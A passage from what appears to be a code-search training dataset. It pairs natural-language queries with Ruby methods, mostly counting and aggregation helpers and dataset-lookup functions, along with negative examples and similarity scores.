hop\"]+=1\n when genre.include?(\"rock\")\n genres[:rock]+=1\n when genre.include?(\"jazz\")\n genres[:jazz]+=1\n when genre.include?(\"instrumental\")\n genres[:instrumental]+=1\n when genre.include?(\"r&b\")\n genres[\"r&b\"]+=1\n else\n genres[:misc] +=1\n end\n end\n genres\n end", "def bad_results\n answer_choice_count = {}\n answer_choices = self.answer_choices\n answer_choices.each do |answer_choice|\n answer_choice_count[answer_choice.answer_choice_body] = answer_choice.responses.length\n end\n\n answer_choice_count\n end", "def build_candidates\n doc = Nokogiri::HTML(open(\"http://www.google.com/search?q=#{query}&num=30\"))\n doc.xpath('//div/cite').each do |node|\n @candidates << Sanitize.clean(node)\n end\n\n @candidates = @candidates.collect{|c| c if c.include?(\"http\") && (c.include?(\"youtube.com\") || c.include?(\"soundcloud.com\") || c.include?(\"bandcamp.com\")) }.compact\n\n #replace each with url, score, and title\n set = []\n\n @candidates.each do |c|\n if c.include?(\"youtube\")\n set << get_youtube(c)\n elsif c.include?(\"soundcloud\")\n set << get_soundcloud(c)\n elsif c.include?(\"bandcamp\")\n set << get_bandcamp(c)\n end\n end\n\n @candidates = set\n @candidates.sort!{|x,y| y[:score] <=> x[:score]}\n puts @candidates.count\n end", "def num_urls\n @client[:urls].count\n end", "def index\n\n @streams = current_user.input_streams.by_time.limit(4).by_position\n @input_streams = @streams.group_by { |t| t.set_id}\n @postures = InputStream.determine_postures(@input_streams.values)\n @result = Hash.new(0)\n @postures.each { |prod, value| @result[value] += 1 } \n\n \n @good_postures = @postures.select {|key,value| value == \"GP\"}\n @good_result = Hash.new(0)\n @good_postures.each { |prod, value| @good_result[prod.to_date ] += 1 } \n #@postures = InputStream.determine_posture(@input_streams.each)\n\n end", "def urls\n payloads.group(\"url\")\n .count\n .sort_by { |k,v| -v }\n end", "def num_results(_args = {})\n @num_results ||= result_ids&.count || 0\n end", "def initialize(url) #pass in the url...cnn\n @url = url #saving the url in n instance variable \n #this is how you create a default value for a hash\n @histogram = Hash.new(0) #taking histogram and creating a hash but setting default values at 0. we're going to be couting words so default should be zero\n\n parse #parse is a method (def below)\n\n #this is how you sort a hash!!!!\n words.each{|w| @histogram[w.downcase] +=1 } #creating the histogram \"for each word..grab each word one at a time- take the histogram and make all the words lowercase. +=1 means add words/couting for all the words that are the same. so we'll have all the words and all the counts\"\n @histogram = @histogram.sort_by {|key, value| value}.reverse #take the histogram and sort it by value. does this in ascending order. .reverse puts it in descending order\n end", "def rate\n votes = answers.inject(0) do |sum, a| \n sum + a.votes.count \n end\n \n # Return a count of votes and answers\n answers.count + votes\n end", "def vote_counts\n counts = {\n :option1 => 0,\n :option2 => 0,\n :option3 => 0,\n :option4 => 0,\n :option5 => 0,\n :option6 => 0\n }\n\n self.votes.each do |vote|\n if vote.option_num == \"1\"\n counts[:option1] += 1\n elsif vote.option_num == \"2\"\n counts[:option2] += 1\n elsif vote.option_num == \"3\"\n counts[:option3] += 1\n elsif vote.option_num == \"4\"\n counts[:option4] += 1\n elsif vote.option_num == \"5\"\n counts[:option5] += 1\n elsif vote.option_num == \"6\"\n counts[:option6] += 1\n end\n end\n\n return counts\nend", "def count_subdomain_visits(subdomains)\n vist_counts = Hash.new(0)\n subdomains.each do |sd|\n count = sd.split(' ').first.to_i\n sds = break_subdomains(sd.split(' ').last)\n sds.each do |d|\n vist_counts[d] += count\n end\n end\n vist_counts\nend", "def check_for_hits(url)\n \n response = http_fetch(url).body\n\n response_html = Nokogiri::HTML(response)\n\n title = response_xml.at('title').inner_text\n # title is \"X documents\" (or 'Documents') if there are hits.\n # It's annoyingly \"Search Error\" if there are either 0 hits, or\n # if there was an actual error. So we can't easily log actual\n # errors, sorry.\n title.downcase =~ /^\\s*(\\d+)?\\s+document/\n if ( hits = $1)\n return hits.to_i\n else\n return 0\n end \n end", "def count_occ(usages_list)\n count = 0\n usages_list.each do |k,v|\n if k['location']['type'] == 'pipeline'\n count += 1\n end\n end\n return count\nend", "def test_count\n sparql = SparqlTest.handle\n (1..100).each do |i|\n sparql.insert([ SparqlTest.urn( __method__ ), 'me:num', i ])\n end\n check = sparql.count([ SparqlTest.urn( __method__ ), 'me:num', :o ])\n sparql.empty( :all )\n assert_equal( 100, check )\n end", "def count_contestants_by_hometown(data, hometown)\n answer_counter = 0\n data.each do |season_key, season_data|\n season_data.each_with_index do |contestant|\n contestant.each do |key, value|\n if value == hometown\n answer_counter += 1\n end\n end\n end\n end\n answer_counter\nend", "def calculate_clicks_by_domain(counts)\n all_domains_counter = {}\n\n counts.each do |csv_string|\n click_count = csv_string.split(\",\").first.to_i\n initial_domain_string = csv_string.split(\",\").last\n all_subdomains = break_domain_string_by_elements(initial_domain_string)\n all_subdomains.each do |domain|\n all_domains_counter[domain] ? all_domains_counter[domain] += click_count : all_domains_counter[domain] = click_count\n end\n end\n\n all_domains_counter.map { |domain, click| [click, domain] }.sort_by { |group| group[0] }.reverse\nend", "def counts\n count = Hash.new(0)\n self.each{|ele| count[ele] += 1}\n count\n end", "def count_frequencies s\n s.downcase.split(//).inject(Hash.new(0)) do |hash,item|\n hash[item] += 1\n hash\n end\n end", "def calculate_page_frequency\n page_frequency_hash = {}\n pages_array = []\n @data.split(\"\\n\").each do |line|\n pages_array << line.match(Regex::PAGE_URL)[0] if line =~ Regex::PAGE_URL\n end\n pages_array.each do |page|\n page_frequency_hash[page].nil? ? page_frequency_hash[page] = 1 : page_frequency_hash[page] += 1\n end\n page_frequency_hash\n end", "def answer_count\n return @answers.length if @answers\n \n Factory.count_answers_at_machine(@location)\n end", "def matchingStrings(strings, queries)\n counting_hash = {}\n counting_hash.default = 0\n\n # For Cache\n strings.each do |s|\n counting_hash[s] ? counting_hash[s] += 1 : counting_hash[s] = 1\n end\n\n res = []\n queries.each do |q|\n res << counting_hash[q]\n end\n res\nend", "def analyze\n @hits.times do\n @guesses << @last_guess unless @guesses.length == 4\n end\n end", "def analyze\n @hits.times do\n @guesses << @last_guess unless @guesses.length == 4\n end\n end", "def count(what, where, options={})\n opts = @@default_options.merge(options)\n opts[:limit] = 1\n uri = assemble_uri(what, where, opts)\n begin\n doc = Hpricot(Net::HTTP.get(URI(URI.escape(uri))))\n total_results = doc.at('totalresults').inner_html.to_i\n rescue\n total_results = 0\n end\n total_results\n end", "def get_counts(args = {})\r\n Net::Flickr.instance().request('flickr.photos.getCounts', args).at('photocounts')\r\n end", "def photos_count(info_count)\n x = info_count.inject(Hash.new(0)) { |h, e| h[e] += 1 ; h }\nend", "def count_frequency(word_list)\n counts = Hash.new(0)\n for word in word_list\n counts[word] += 1\n end\n counts\nend", "def count_results(result_array)\n results = empty_counter\n result_array.each do |topic|\n topic.keys.each {|key| results[key] += topic[key]}\n end\n results\n end", "def index\n authorize Title\n @titles_public = Title.where(public: true).order(:name)\n @titles_no_public = Title.where(public: false).order(:name)\n\n user_titles = User.pluck(:ldap_attributes).map{|j| j['title'].split(',') }.flatten\n\n @result = user_titles.each_with_object(Hash.new(0)) { |title,counts| counts[title] += 1 }\n\n end", "def total_hits_count\n return top_hits_count + all_hits_count\n end", "def wrap_count_common results, number_of_matched_results, base_url\n results = [] if results.nil?\n {\n 'results' => results,\n 'metadata' => metadata(base_url, number_of_matched_results)\n }\n end", "def cat_count\n total_arr = []\n counter = 0\n #cat_array1 = [\"Characters\", \"Films\", \"Planets\", \"Starships\", \"Species\"]\n\n 5.times do\n #x = cat_array1[0]\n url_array = [\"http://www.swapi.co/api/people\", \"http://www.swapi.co/api/films\",\n \"http://www.swapi.co/api/planets\", \"http://www.swapi.co/api/starships\",\n \"http://www.swapi.co/api/species\"]\n response_string = RestClient.get(url_array[counter])\n response_hash = JSON.parse(response_string)\n total = response_hash[\"count\"]\n total_arr << total\n counter = counter + 1\n end\n total_arr\nend", "def n_plus_one_result\n poll_result = {}\n\n all_answer = self.answer_choices\n all_answer.each do |ans|\n poll_result[ans.choice] = ans.responses.count\n end\n\n poll_result\n end", "def count_all_links(dir)\n perform_global_search('//a', [], dir)\n end", "def checkSearchTerms(wordHash, searchTermsArray, documentCounter, resultsHash, wordArray)\n documentCounter;\n documentNumber = \"Document \" + documentCounter.to_s\n searchTermsArray.each do |word|\n resultsHash.merge!(word => { documentNumber => wordHash[word]})\n # need to figure out the frequency based on the wordHash[word] and the wordArray.length\n end\n # puts wordArray.length\n # puts resultsHash\nend", "def process_url\n map = map_words_on_page\n map.each do |word, count|\n wc = WordCount.new(:word=>word, :count=>count, :page_id => object_id)\n push wc # todo pull the push/stack functionality out of Page to minimize db calls\n end\n end", "def popular_links\n tagged_urls.joins(:visits)\n .group(:short_url)\n .order('COUNT(visits.id) DESC')\n .select('long_url, short_url, COUNT(visits.id) as number_of_visits')\n .limit(5)\n\n # links.each { |url| puts \"#{url}\" }\n end", "def number_of_stats_skillz(text)\n result = 0\n @statistics_skillz.each do |s|\n if text.downcase.include?(s)\n result += 1\n end\n end\n return result\nend", "def my_websites\n websites = Website.search_by_user(get_current_user)\n websites.each do |w| \n if w.status == Website::STATUS_VERIFIED\n w.count_tagged_images\n w.count_spots\n w.count_total_income\n end\n end\n return websites\n end", "def count_links\n @page_source.find_elements(:tag_name, 'a').count\n rescue element_not_found\n with_zero\n end", "def count_frequency(word_list)\n\tcounts = Hash.new(0)\n\tfor word in word_list\n\t\tcounts[word] += 1\n\tend\n\tcounts\nend", "def count_frecuency(word_list)\n\tcounts = Hash.new(0) #es un hash que estará inicializado en 0, si indexamos en un key que no existe este retornará 0\n\tword_list.each do |word|\n\t\tcounts[word] +=1 #counts[word] es un hash con la clave del item actual, sabiendo que en principio no hay ningun item cuando asigne counts[word] +=1, sumará 1+0 ya que en principio el hash esta inicializado en 0\n \tend\n\tcounts\t\nend", "def compute_frequencies(list)\n dict = {}\n list.each do |token|\n unless dict.has_key?(token)\n dict[token] = list.count(token)\n end\n end\n dict\nend", "def counts\r\n @counts\r\n end", "def count(r)\n c = Hash.new(0)\n r.each { |z| c[z] += 1}\n c\nend", "def each_word_count(text)\n word_counts = {}\n normalize(text).each do |word|\n word_counts[word] = 0 if !word_counts[word]\n word_counts[word] += 1\n end\n word_counts\nend", "def uids_to_term_counts(uids)\n ret = {}\n total = uids.size\n\n uids.each_with_index do |(key, arr), i|\n ret[key] = 0\n\n arr.each do |uid|\n doc = Document.find(uid, term_vectors: true)\n vec = doc.term_vectors[@term]\n\n ret[key] += vec[:tf] if vec\n end\n\n progress&.call(50 + (i.to_f / total.to_f * 50.0).to_i)\n end\n\n progress&.call(100)\n\n zero_intervening(ret)\n end", "def index \n @urls = Url.all.order(hit_count: :desc)\n end", "def api_count(args)\n query_str = args[:query]\n object_name = args[:entity].pluralize\n my_response = HTTParty.get(\"https://api.rechargeapps.com/#{object_name}/count?#{query_str}\",\n headers: HEADER)\n my_count = my_response['count'].to_i\n Resque.logger.info \"#{my_count} #{object_name}'s on Recharge API\"\n Resque.logger.info my_response\n my_count\n end", "def count\n Integer(parsed_body['meta']['total_results'])\n end", "def q_with_dupes_count(current_user)\n count = 0\n sections.each do |s|\n count += s.q_with_dupes_count(current_user)\n end\n count\n end", "def parse_counts\n return if @section_count || @question_count\n\n node = Nokogiri::XML(xml_with_answers)\n @section_count = node.css('section section').count\n if default_settings && default_settings[:per_sec]\n @question_count = @section_count * default_settings[:per_sec].to_i\n else\n @question_count = node.css('item').count\n end\n end", "def test_total_hits\n q = '*:title OR *:comment'\n assert_equal 3, Comment.total_hits(q)\n assert_equal 2, Content.total_hits(q)\n assert_equal 5, ActsAsFerret::total_hits(q, [ Comment, Content ])\n end", "def query_hits(hit)\n query = 1\n while data.has_key?(\"h#{hit}_q#{query}\")\n query_hit(hit, query)\n query += 1 \n end\n \n @query_hits[hit]\n end", "def ab_counts(_experiment, _alternative)\n raise \"Not implemented\"\n end", "def agreed_with_community\n responses = self.responses\n count = 0\n responses.each do |response|\n #count += 1 if response.verdict == response.question.get_community_verdict\n count += 1 if response.question.get_community_verdict(response.verdict)\n end\n return count\n end", "def solution0(a)\n\n total_count = 0\n elem_counts = Hash.new(0)\n\n a.each do |elem|\n elem_counts[elem] += 1\n total_count += 1 if elem_counts[elem] == 2\n end\n\n return total_count\n\nend", "def tags\n articles.map { |article| article[:tags] }.flatten.compact.inject(Hash.new(0)) { |frequency_map, tag|\n frequency_map[tag] += 1\n frequency_map\n }\nend", "def total_visit\n parsed_result.each do |result|\n visit_hash[result.first] = result.last.count\n end\n visit_hash.sort_by{|k,v| v}.reverse.to_h\n end", "def result_hit_mapping(result_facets)\n @mapping ||= result_facets.each_with_object(Hash.new(0)) do |_result, hash|\n _term = _result['term']\n _term = _term.to_s.downcase\n hash[_term] += _result['count']\n end\n end", "def get_word_freq\n speech_links = get_links_to_speeches\n word_freq = Hash.new(0)\n \n speech_links.each do |link|\n speech_page = link.click\n if (speech_obj = speech_page.at SPEECH_DIV_IDENTIFIER)\n speech = speech_obj.text\n words = speech.split(' ')\n words.each{ |word| word_freq[clean_str(word)] += 1 }\n end\n end\n\n word_freq.sort_by{ |x,y| y }.reverse\n end", "def score_for_body_links\n link_count = self.message.to_s.scan(/http:/).size\n link_count > 2 ? -link_count : 2\n end", "def calculate_ip_frequency_per_page\n ip_frequency_per_page_hash = {}\n @data.split(\"\\n\").each do |line|\n page_url = line.match(Regex::PAGE_URL)[0] if line =~ Regex::PAGE_URL\n ip_frequency_per_page_hash[page_url] = [] unless ip_frequency_per_page_hash[page_url]\n ip_frequency_per_page_hash[page_url] << line.match(Regex::IP_ADDRESS)[0] if line =~ Regex::IP_ADDRESS\n end\n ip_frequency_per_page_hash\n end", "def count_contestants_by_hometown(data, hometown)\n counter = 0\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"hometown\"] == hometown\n counter += 1 \n end\n end\n end\n return counter\nend", "def destinations_with_multiplicities\n destinations.each_with_object(Hash.new(0)) do |word, counts|\n counts[word] += 1\n end\n end", "def response_counts!(start_date = Time.parse('2000-1-1'), end_date = Time.now.utc)\n time_fmt = '%Y-%m-%d'\n response = get 'getResponseCountsBySurvey', 'StartDate' => start_date.strftime(time_fmt), \n 'EndDate' => end_date.strftime(time_fmt)\n @response_counts = json_result(response)\n end", "def count_elements(collections)\n counts = Hash.new(0)\n collections.collect {|element| counts[element]+=1 }\n counts.collect do |hash, number|\n hash[:count] = number\n end\n counts.keys\nend", "def find_number_of_responses_for_checkbox(checkbox_questions)\n question_ids = []\n checkbox_questions.each do |checkbox_question|\n question_ids << checkbox_question.id\n end\n response_count = Answer.find_by_sql([\"SELECT * FROM answers s, responses r, response_maps rm WHERE s.response_id=r.id AND r.map_id= rm.id AND rm.reviewed_object_id=? AND rm.reviewee_id=? AND s.comments != '0' AND s.question_id IN (?) GROUP BY r.map_id\", @map.reviewed_object_id, @map.reviewee_id, question_ids]).count\n response_count\n end", "def count_elements(animals)\n animal_hash = {}\n animals.each do |animal| \n animals.count(animal)\n animal_hash[animal] = animals.count(animal)\n end\n animal_hash\nend", "def count_teaching_profs\n accessed_content = read_csv(\"CSV/Conteudos_Acessados.csv\")\n\n prof_ensinaram = Hash.new\n\n accessed_content.each do |row|\n namespace = row['namespace']\n prof_ensinaram[namespace] ||= Hash.new\n prof = row['teacher_id']\n if row['type'] != 'EXERCISE' and row['type'] != '-' and is_valid_user(prof)\n content = row['title']\n prof_ensinaram[namespace][prof] ||= Hash.new\n prof_ensinaram[namespace][prof][content] ||= 0\n prof_ensinaram[namespace][prof][content] += row['users access'].to_i\n end\n end\n\n n_prof_ensinaram = Hash.new\n\n prof_ensinaram.each do |ns, profs|\n n_prof_ensinaram[ns] ||= 0\n profs.each do |prof, contents|\n n_accessed_contents = 0\n contents.each do |content, n_access|\n n_accessed_contents += 1 if n_access >= $min_access_in_content\n end\n n_prof_ensinaram[ns] += 1 if n_accessed_contents >= $min_accessed_contents\n end\n end\n n_prof_ensinaram\nend" ]
[ "0.65483403", "0.6428427", "0.6323355", "0.62579435", "0.6139667", "0.6139667", "0.6139667", "0.61366606", "0.6043841", "0.58811486", "0.58738434", "0.5853516", "0.5851835", "0.5850476", "0.5849726", "0.58431166", "0.58113873", "0.58081096", "0.58022124", "0.58003354", "0.5799696", "0.5799546", "0.5797686", "0.5790593", "0.5755058", "0.5744409", "0.5741941", "0.5717344", "0.5712258", "0.56762105", "0.5663089", "0.56540084", "0.5651177", "0.563019", "0.56301594", "0.5615961", "0.56143785", "0.56061965", "0.55993986", "0.55717766", "0.55702114", "0.55640554", "0.55590814", "0.55559003", "0.55407417", "0.5540495", "0.5535713", "0.55306476", "0.55298674", "0.55292505", "0.5508794", "0.55086905", "0.55086905", "0.550591", "0.5505276", "0.549953", "0.54892397", "0.5484709", "0.54794157", "0.5473753", "0.5472713", "0.54688185", "0.54680485", "0.5466664", "0.54625803", "0.54525423", "0.5451253", "0.5441333", "0.5438897", "0.5425904", "0.5423585", "0.5421209", "0.54102165", "0.54079604", "0.540796", "0.53876674", "0.53802055", "0.5377635", "0.53682655", "0.5366967", "0.5366962", "0.534577", "0.53455", "0.53423876", "0.5328451", "0.53192055", "0.531877", "0.5314673", "0.5311983", "0.5307387", "0.5305568", "0.530375", "0.53002536", "0.52976936", "0.5296222", "0.52826375", "0.52819324", "0.52733546", "0.52717125", "0.52716774" ]
0.67984104
0
Return dataset with the given name
def dataset(name) fetch_or_store(name) { Dataset.new(rql.table(name), rql, self) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dataset(name)\n datasets[name] = Dataset.new(connection.fetch(name.to_s))\n end", "def dataset(name)\n @datasets[name.to_sym] = Dataset.new(session, *split(name))\n end", "def dataset(name)\n datasets[name] = Dataset.new(sources.fetch(name.to_s))\n end", "def dataset(name)\n self[name] || connection.create_dataset(name)\n end", "def dataset(name)\n sets[name] = Dataset.new(name, connection)\n end", "def [](name)\n datasets[name.to_sym]\n end", "def [](name)\n datasets.fetch(name)\n end", "def [](name)\n datasets.fetch(name)\n end", "def dataset?(name)\n self[name] ? true : false\n end", "def dataset?(name)\n datasets.key?(name)\n end", "def dataset?(name)\n datasets.key?(name)\n end", "def dataset(table_name)\n Dataset.new(self, table_name)\n end", "def load_dataset(silent = false, name = nil)\n if name.nil?\n ensure_par(dataset: '-D')\n name = self[:dataset]\n end\n d = load_project.dataset(name)\n raise \"Cannot load dataset: #{self[:dataset]}\" if !silent && d.nil?\n\n return d\n end", "def dataset\n database[table_name]\n end", "def dataset?(name)\n run rql.db(options[:db]).table_list.contains(name.to_s)\n end", "def data name\n File.read data_path(name)\nend", "def dataset(index)\n idx_name = IndexName[index]\n Dataset.new(client, params: { index: idx_name.to_sym })\n end", "def dataset(ds_id)\n data_service.dataset(service_name(ds_id))\n end", "def add_dataset(name)\n unless metadata[:datasets].include? name\n d = MiGA::Dataset.new(self, name)\n @metadata[:datasets] << name\n @dataset_names_hash = nil # Ensure loading even if +do_not_save+ is true\n save\n if d.ref? && d.active?\n recalculate_tasks(\"Reference dataset added: #{d.name}\")\n end\n pull_hook(:on_add_dataset, name)\n end\n dataset(name)\n end", "def get_dataset_name(filename)\n @dataset_name = filename.chomp(\".xml\")\n @dataset_name.gsub!(/\\%/, \"percent\")\n @dataset = Dataset.find_or_create_by_name(@dataset_name)\n end", "def dataset?(name)\n connection.query(\"select * from #{name} limit 1\")\n true\n rescue ::InfluxDB::Error\n false\n end", "def d(name)\n DataAccessor.new(name)\n end", "def dataset_method\n :\"#{self[:name]}_dataset\"\n end", "def dataset_method\n :\"#{self[:name]}_dataset\"\n end", "def [](data_set_name)\n library[data_set_name]\n end", "def table_for_name(name)\n if(! defined? name)\n return DataTable.new;\n end\n\n if(! @tables.has_key?(name))\n return DataTable.new;\n end\n\n @tables[name];\n end", "def dataset\n @dataset ||= data_maker.dataset\n end", "def get(id)\n dataset.get(id)\n end", "def get(name)\n data[name]\n end", "def dataset(slug)\n Ailurus::Dataset.new(self, slug)\n end", "def dataset\n @dataset ||= generate_dataset\n end", "def get(data_set_name, x)\n data_set = @data[data_set_name]\n if data_set.nil? \n return nil\n end\n data_set[x]\n end", "def find(id)\n new(GeoIQ.get(\"/datasets/#{id}.json\"))\n end", "def dataset database, source_id\n begin\n \"SciRuby::Data::#{database.to_s.camelize}\".constantize.new.dataset(source_id)\n rescue DatabaseUnavailableError => e\n warn \"Database appears to be unavailable. Attempting to use cached version.\"\n SciRuby::Data::Cacher.new.dataset(source_id, database)\n end\n end", "def get_item_data_by_name(name)\n _item_property = @items.find{|item| item['Name'] == name}\n if _item_property.nil?\n nil\n else\n _item_property['Data']\n end\n end", "def dataset(id)\n response = RestClient.get settings.uris.dataset_metadata(id)\n return JSON.parse( response.to_str )\n end", "def get_collection(name)\n @data[name]\n end", "def build(data_set_name)\n raise Interfaces::DataSetAlreadyExists if interface(data_set_name).data_set_exists?\n build!(data_set_name)\n end", "def get_dataset(table)\n #puts \"converting to a dataset\"\n to_dataset(@datafiles[table].content)\n end", "def get_dataset(quandl_dataset_code)\n Quandl::Dataset.get(quandl_dataset_code)\n end", "def _dataset_method\n :\"_#{self[:name]}_dataset\"\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def build!(data_set_name)\n interface(data_set_name).create_empty_data_set\n library[data_set_name] = DataSet.new(data_set_name, interface(data_set_name))\n end", "def get_data(arg)\n dir_to_data = Dir.pwd + '/features/support'\n data = YAML.load_file(\"#{dir_to_data}/data_list.yml\")\n data['DataSet'][\"#{arg}\"]\nend", "def datasets\n Dataset.order(:name).map_h {|d| DataRow.where(ward: self, dataset: d)}\n end", "def dataset\n @dataset ||= begin\n create_table!\n database[:data_stores]\n end\n end", "def biomart_dataset( ds_conf )\n return Biomart::Dataset.new( ds_conf[\"url\"], { :name => ds_conf[\"dataset_name\"] } )\n end", "def [](name)\n unless @cached_records_by_name.key?(name)\n record = self.where(name: name).first\n @cached_records_by_name[name] = record\n site.cached_records[record.id] = record unless record.nil?\n end\n @cached_records_by_name[name]\n end", "def dataset\n ds = Sequel::Dataset.new(self)\n end", "def dataset\n ds = Sequel::Dataset.new(self)\n end", "def type\n 'dataset'\n end", "def datasource_by_name(datasource_name)\n datasource_name = 'default' if datasource_name.to_s.empty?\n # TODO: add support for grafana builtin datasource types\n return UnsupportedDatasource.new(nil) if datasource_name.to_s =~ /-- (?:Mixed|Dashboard|Grafana) --/\n raise DatasourceDoesNotExistError.new('name', datasource_name) unless @datasources[datasource_name]\n\n @datasources[datasource_name]\n end", "def find_by_name(name)\n domain_record = finder(:select => [:id, :name], :conditions => {:name => name})\n return nil if domain_record.nil?\n\n new(domain_record)\n end", "def set_dataset\n @dataset = Dataset.find(params[:id] || params[:dataset_id])\n end", "def dataset_path\n @dataset_path ||= filename\n end", "def dataset\n @dataset_class.new(self)\n end", "def datasource(name, opts = {})\n lookup.datasource = { :name => name, :opts => opts }\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def dataset_names\n metadata[:datasets]\n end", "def by_name( name )\n available.each { |addon| return addon if addon['filename'] == name }\n return nil\n end", "def get_dataset dataset_id\n # The get operation is considered idempotent\n execute backoff: true do\n service.get_dataset @project, dataset_id\n end\n end", "def dataset\n res = Database.connection.exec(\"SELECT dataset from application_seeds LIMIT 1;\")\n res.getvalue(0, 0)\n rescue PG::Error => e\n e.message =~ /relation \"application_seeds\" does not exist/ ? nil : raise\n end", "def get(id)\n new(dataset.get(id))\n end", "def dataset\n @@dataset\n end", "def dataset\n graph && graph.dataset\n end", "def set_dataset\n @dataset = Dataset.find_by(key: params[:id])\n @dataset ||= Dataset.find(params[:dataset_id])\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def get_slice(name)\n return @slices[name] \n end", "def get_slice(name)\n key = @slices.keys[0]\n return @slices[name]\n end", "def dataset(opts=nil)\n Sequel::JDBC::Access::Dataset.new(self, opts)\n end", "def dataset_from_row(row)\n datasets = Dataset.where(geo_id: row['geo_id'], user: User.robot)\n\n if @create_missing && datasets.none?\n Dataset.create!(\n row.to_h.slice('geo_id', 'name', 'country', 'data_source').merge(user: User.robot)\n )\n else\n datasets.first!\n end\n rescue ActiveRecord::RecordNotFound => ex\n raise ActiveRecord::RecordNotFound,\n \"No dataset exists matching geo ID: #{row['geo_id'].inspect}\",\n ex.backtrace\n end", "def asset(name:)\n self[:assets].select { |asset| asset[:name] =~ /#{name}/ }.first\n end", "def find_by_name(name)\n domain_record = finder(\n :select => [:id, :domain, :description],\n :conditions => {:domain => name})\n return nil if domain_record.nil?\n\n new(domain_record)\n end", "def set_dataset\n\n @dataset = Dataset.find_by_key(params[:id])\n unless @dataset\n @dataset = Dataset.find(params[:dataset_id])\n end\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def [](name)\n @atlas[name]\n end", "def select_db(name)\n #This is a stub, used for indexing\n end", "def [](name)\n @by_name[name]\n end", "def get_dataset(wi)\n if wi.options && wi.options['dataType']\n wi.options['dataType']\n else\n EternosBackup::SiteData.defaultDataSet\n end\n end", "def find_by_name(name)\n find_by('name', name)\n end", "def fetch(name); end", "def workflow_dataset(n)\n fail ActiveRecord::RecordNotFound if workflow_datasets.size <= n\n Dataset.find(workflow_datasets[n])\n end", "def get (name, default = nil)\n @data.fetch(name, default)\n end", "def name(name)\n @metadata = @metadata.with_name(name)\n end", "def find_by_name(name)\n select(\"* FROM groups\")\n .where(\"name = #{name}\")\n end", "def [](name)\n sets.fetch(name)\n end", "def get_scenario_data(name)\n scenario_file = File.join(data_dir, 'scenarios', \"#{name}.yaml\")\n unless File.exists?(scenario_file)\n raise(Exception, \"scenario file #{scenario_file} does not exist\")\n end\n YAML.load_file(scenario_file)\n end", "def unlink_dataset(name)\n d = dataset(name)\n return nil if d.nil?\n\n self.metadata[:datasets].delete(name)\n save\n if d.ref? && d.active?\n recalculate_tasks(\"Reference dataset unlinked: #{d.name}\")\n end\n pull_hook(:on_unlink_dataset, name)\n d\n end", "def use(name)\n model.repository.by_name(name)\n end", "def use(name)\n model.repository.by_name(name)\n end", "def chart_with_name(name)\n options[:charts].to_a.detect{ |c| c.name == name.to_sym }\n end", "def find_package_set_by_name(name)\n @package_sets[name]\n end", "def find_datastore(datacenter, ds_name)\n dc = datacenter\n base_entity = dc.datastore\n base_entity.find { |f| f.info.name == ds_name } \\\n || abort(\"no such datastore #{ds_name}\")\nend", "def fixture(name)\r\n fixture_io(name).read\r\n end", "def set_dataset\n @dataset =\n Dataset.find_with_metadata(params[:id], user_token(@site, true))\n end", "def find_attribute(name)\n NetCDF::Attribute.new(@netcdf_elmt.findAttribute(name))\n end", "def find_by_name(name)\n Discovery.find_by_name(name)\n end" ]
[ "0.84334975", "0.8422005", "0.83347017", "0.8170036", "0.8077305", "0.7997254", "0.7929371", "0.7929371", "0.7284001", "0.7161996", "0.7161996", "0.7031044", "0.69914156", "0.69255304", "0.68359625", "0.6785029", "0.67391485", "0.6720411", "0.66996145", "0.6573739", "0.6514716", "0.64592683", "0.6435748", "0.6428669", "0.6363148", "0.6338624", "0.6278534", "0.6268358", "0.6250821", "0.6175671", "0.61150205", "0.60956514", "0.60757154", "0.60649383", "0.6045372", "0.60411006", "0.6008252", "0.6005298", "0.5977125", "0.5949879", "0.59335375", "0.5916356", "0.5916356", "0.5916356", "0.59141886", "0.58908784", "0.5876835", "0.5866628", "0.5855125", "0.58217937", "0.580752", "0.580752", "0.579565", "0.57947993", "0.57747024", "0.57650757", "0.57589984", "0.5748596", "0.57388073", "0.57207966", "0.57207966", "0.57207966", "0.57207966", "0.57129973", "0.5689425", "0.56825584", "0.5674215", "0.5670633", "0.56620616", "0.5629001", "0.560796", "0.5593274", "0.5580864", "0.5541315", "0.5536485", "0.55228287", "0.55217105", "0.5516756", "0.551443", "0.5513216", "0.5511322", "0.55089635", "0.55026937", "0.5498692", "0.5468753", "0.54681724", "0.5467307", "0.54618216", "0.54491776", "0.54450256", "0.5438581", "0.54259354", "0.54259354", "0.5415814", "0.541439", "0.5412927", "0.540799", "0.538575", "0.53793746", "0.5375349" ]
0.82509345
3
Runs the ReQL query and returns the data.
def run(query) @connections.with { |c| query.run(c) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def execute\n # build the query string\n # run the query\n # return the results\n end", "def run_query()\n return nil unless @query\n \n gres = @query.execute()\n if @filterClass \n fres = @filterClass.filter(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n elsif @filterBlock \n fres = @filterBlock.call(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n else\n res = fres.result_s\n end\n res\n end", "def r\n @r ||= ::RethinkDB::RQL.new\n end", "def query(q=\"\")\n\t\tif @connection != nil\n\t\t\t@data = MonetDBData.new(@connection)\n\t\t\t@data.execute(q)\n\t\tend\n\t\treturn @data\n\tend", "def run(query:)\n Vidalia::log(\"SQL query text: \\\"#{query}\\\"\",:style => :debug)\n open_connection\n result = launch_query_command(query: query)\n if result.size > 0\n count = 1\n result.each do |r|\n Vidalia::log(\"SQL query result (#{count}): \\\"#{r.inspect}\\\"\",:style => :debug)\n count += 1\n end\n else\n Vidalia::log(\"SQL query: NO RESULTS FOUND\",:style => :debug)\n end\n rescue Exception => e\n raise e\n else\n return result\n ensure\n close_connection\n end", "def results\n send_query\n end", "def query(q=\"\")\n if @connection != nil \n @data = MonetDBData.new(@connection)\n @data.execute(q)\n end\n return @data\n end", "def query; end", "def results\n send_query\n end", "def run_query(q)\n return sky_table.query(q)\n end", "def mqlread(query, options = {})\n Ken.logger.info \">>> Sending 